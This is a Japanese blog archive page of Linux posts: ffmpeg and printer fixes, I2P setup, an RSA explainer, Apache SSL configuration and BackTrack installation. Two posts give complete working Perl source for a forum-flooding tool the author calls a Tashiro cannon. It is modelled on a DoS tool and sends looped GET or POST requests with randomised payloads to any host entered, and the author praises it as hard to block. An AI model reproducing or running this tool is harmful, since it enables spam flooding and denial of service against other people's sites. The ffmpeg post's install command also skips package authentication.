Tag Archives: Linux - Page 3

Ubuntu11.10でffmpegのlibfaacを使う Unknown encoder ‘libfaac’

調べたところライセンスが関係して機能を削っているようですね。

使えるようにするにはソースからビルドする時にオプションを追加する方法等あるようですがすごくめんどくさい・・・・

そんな訳で、他の方法を探してみました。

非公式リポジトリのMedibuntuには予めオプションを追加してビルドしたパッケージが用意されているようなのでそれを利用したいと思う。

リポジトリの追加

$ sudo wget http://www.medibuntu.org/sources.list.d/`lsb_release -cs`.list –output-document=/etc/apt/sources.list.d/medibuntu.list && sudo apt-get -q update && sudo apt-get –yes -q –allow-unauthenticated install medibuntu-keyring && sudo apt-get -q update

ffmpegを再インストール
$ sudo apt-get -reinstall install ffmpeg libavcodec-extra-53

※ Ubuntu11.10のffmpegはlibavcodec-extra-52ではなくlibavcodec-extra-53のようなのでこちらを指定する。

これで、Unknown encoder ‘libfaac’が出なくなると思う。

Ubuntu11.10でLPB6200がうまく動作しない 対策

このページはcups等基本的なパッケージを既にインストールしてあることを前提に話をすすめる。

メーカーサイトのドライバCAPT Printer Driver for Linux Ver2.40 (32bit)

ダウンロードし展開したらインストール
$ sudo dpkg -i cndrvcups-common_2.40-1_i386.deb
$ sudo dpkg -i cndrvcups-capt_2.40-1_i386.deb

これで普通にプリンタを設定から追加して使えると思っていたが認識はするが、印刷を行なってもジョブが溜るだけで正常に印刷されないという問題が発生した。

ログを見ても中々解決策は見当たらず、途方に暮れていたところ、ロシアのサイトCanon LBP-6000 в Ubuntu 11.10に対策が書かれていたのでそれを元に対策したら正常に動作するようになった。

/etc/rc.localの中のexit 0の間にプリンタを再認識させる設定を記述する

$ sudo vi /etc/rc.local
sudo modprobe usblp
ls -l /dev/usb/lp0
sudo /etc/init.d/ccpd restart

その後再起動
$ sudo reboot
上記のプリンタを再認識させるコマンドを直接叩いてもここで再起動を一度行わないと正常に動作しないようだ

どうもCAPT Printer Driver自体に不具合があるようですね。
あと、余談ですがこれのソースコードからのビルドはやめたほうがいいです。原因不明ですがGTK関係でこけます。

その他、参考になりそうなサイト(画像付きロシア語)
Canon LBP6000 В Ubuntu 11.10

Ubuntu 11.04にI2P(匿名ネットワーク)をapt-getで手軽にインストールしてみる

マイナーすぎて海外のサイトでもjava -jar i2pinstall.exeなんてLinuxで動かしてるのを見たら目眩がしたのでしっかりapt-getでインストールしてみました。

公式サイト
http://www.i2p2.de/debian.html#ubuntu

# レポジトリを追加してI2Pをインストール
$ sudo apt-add-repository ppa:i2p-maintainers/i2p
$ sudo apt-get update
$ sudo apt-get install i2p

# いれていない人はインストール(テキストエディタとLinuxの起動時に特定のソフトを起動させるソフト)
$ sudo apt-get install vim chkconfig

デーモンとして起動させる設定
$ sudo vim /etc/default/i2p

# I2P daemon. If set to true, i2p will start automatically when
# the computer boots
#RUN_DAEMON=”false” ← コメントアウトして下記を追加
RUN_DAEMON=”true”

I2P起動
$ sudo service i2p start
http://localhost:7657/  I2Pルーター(管理画面)
localhost:4444      ProxyServer

再起動時に自動起動
$ sudo chkconfig i2p on

RSA暗号化について

暗号化の方法がとても気になったので調べてみました。
※特に可逆暗号化と公開鍵暗号についてです。

RSAの式(暗号化)
C = M^e (mod n)

調べてみたら呆気にとられるくらい簡単で単純です。

^(キャロット)は累乗という意味です。
modは除算した時に発生する余りを意味します。
Cが暗号化された文章を意味します。
Mは平文を意味します。
要するにCは平文Mをe乗してnで割った余りであると言うことになります。

今日は徹夜明けなので頭がボーっとしてまともに物事を考えられないので近いうちに
暗号化と複合化するプログラムを書いて見ます。

参考元:はやわかり RSA
参考元:ASCIIコードと文字の相互変換

VirtualHostでSSL接続

非常に困りました^^;
彼の野原 – FrontPage様よりワイルドカードを使った証明書を作成しました。

ですが、/etc/apache2/conf.d/ssl.confになんて記述してよいのか分からない(汗
エラーが起きてしまいます。

結局NameVirtualHost *:443を記述していないと言うことに気づくのに1時間ほどかかってしまいました^^;

追記した内容

NameVirtualHost *:443

<virtualHost *:443>
SSLEngine on
ServerName mail.orsx.net
DocumentRoot /var/www/html/webmail/
## certificate file path below
SSLCertificateFile /usr/share/ssl/certs/server.pem
SSLCertificateKeyFile /usr/share/ssl/certs/server.key
<directory /var/www/html/webmail/>
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</directory>
CustomLog /var/log/apache2/ssl_request_log 
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x "%r" %b"
</virtualHost>

掲示板耐久性テスト プログラム Ver.2.0

 今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。

[flashvideo filename=https://www.orsx.net/wp-content/uploads/2009/08/bbsDos.flv /]

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.2.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;
#Socketモジュールを使用する
use Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#乱数を追記させるかを確認
if($r eq "y"){
print "X"x"50"."n";
print "乱数の文字数を指定してくださいn";
print "> ";
$rr = <stdin>;
chomp $rr;
$rr = "1" if($rr eq "");
}

#送信方法を確認
print "X"x"50"."n";
print "(GET/POST)どちらを利用しますか?[g/p]";
$net = <stdin>;
chomp $net;
if($net eq "p"){&post_set;}
if($net eq "g"){&get_set;}

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
#送信数のインクリメント
print "X"x"50"."n";
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:&#91;$sa%/100%&#93;を完了しましたn";
$ex +="1";
}

#送信サブルーチン呼び出し
if($net eq "p"){&post;}
if($net eq "g"){&get;}

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn";

#------------------------------------------------
#サブルーチン
#------------------------------------------------

#----------------------------
#GET
#----------------------------
sub get_set{
#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;
}

sub get{
#乱数格納
$bbs2=$bbs;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$bbs2.=$result;
}
#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);
}

#-----------------------------
#POST
#-----------------------------
sub post_set{
#ファイルまでのパスを指定
print "X"x"50"."n";
print "ファイルまでのパスを指定してくださいn";
print "> http://$host/";
$path = <stdin>;
chomp $path;

#送信データの確認
print "X"x"50"."n";
print "送信するデータを入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> ";
$data = <stdin>;
}

sub post{
$data2=$data;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$data2.=$result;
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$data2n";

#ホストへ接続を試みる
socket(SOCKET, PF_INET, SOCK_STREAM, 0);
connect(SOCKET, pack_sockaddr_in($port, inet_aton($host)));
select(SOCKET); $|=1; select(STDOUT);

#送信
print SOCKET "POST /$path HTTP/1.0rn";
print SOCKET "Content-Length: ".length($data2)."rn";
print SOCKET "rn";
print SOCKET $data2;
}

掲示板耐久性テスト プログラム

 現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
 通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
 以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;

 私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。

※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.1.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
print "X"x"50"."n";
$bbs2=$bbs;
#乱数格納
if ($r eq "y"){
$rr = rand("1000");
$bbs2.=$rr;
}

#送信数のインクリメント
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:&#91;$sa%/100%&#93;を完了しましたn";
$ex +="1";
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
die "Error:ホストに接続できませんでした!n" unless $socket;
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn"

BackTrack 3 SpoonWpa起動 

Royal Windows様の記事をみて
Aircarack-ngを無理やりGUIで動かすSpoonWpaというものがあると知り
早速BackTrack 3で起動してみました^^
snapshot1

snapshot2

BackTrack 4 Pre Release ネットワーク起動

ネットワークをスタートします。
# sudo /usr/bin/start-network
snapshot2

Wicd Managerを起動します。
snapshot3
APリストが表示されますので選択します。
snapshot1

Apache2を起動する場合
コマンド
# sudo /etc/init.d/apache2 start
でApache2を起動できます。
snapshot4

EeePCへの導入に対応しているのか、EeePC 701-SDX
の無線LAN子機を認識しました。

なお、パッケージをアップデートするとDHCP Serverでエラーを確認しました。
BT3に比べると何か、かなり不安定ですね・・・・・・
所々Ubuntuと残っていたり^^;

参考HP:RokBlog

速報:BackTrack 4 Pre Release USBにインストール 簡単

Remote-Exploit.org様より
BackTrack 4 Pre Releaseが公開されました。

USBへのインストール方法も大きく変わったので紹介します。

USBは5G以上の空き容量が必要です。
※4Gでは要領不足でしたので今回は6Gの2.5インチハードディスクを
USBに外付けしてインストールしました。

ISOをソフトを使ってDVDに焼きます。

CDからBootします。
Xwindowの起動
# startx

起動後
install.sh
とシェルスクリプトがあるのでクリックしてインストーラを起動します。

一応今後のバージョンアップの時にinstall.shが消えた時の対処法
# ubiquity
と端末(ターミナル)から入力するとインストーラを起動できます。

snapshot1

Contnue anywayをクリック

Forwardをクリックして次に進みます。

タイムゾーンの選択でTokyoを選択(画像をとり忘れました^^;)

キーボードの言語とレイアウトを選択します。
snapshot2

インストールするメディアを選択します。※間違って内蔵HDDを選ばないように
snapshot4

アカウントを作成します。
snapshot5

設定をインポートするかと聞かれるが次に進みます。
snapshot6

確認画面が出るが、advanced…を選択しブートローダーインストール場所を
USBメモリーに変更します。

※ ここを抜かすとWindowsが正常に起動しなくなります。
snapshot8

snapshot9

インストール開始。。。。。
snapshot10

これでインストールできます。

インストール後に起動して困るのがシャットダウンです
logoutしか選択できませんw

ですので端末より
# sudo shutdown -h now
と入力するとPaswordを聞かれるので入力して終了します。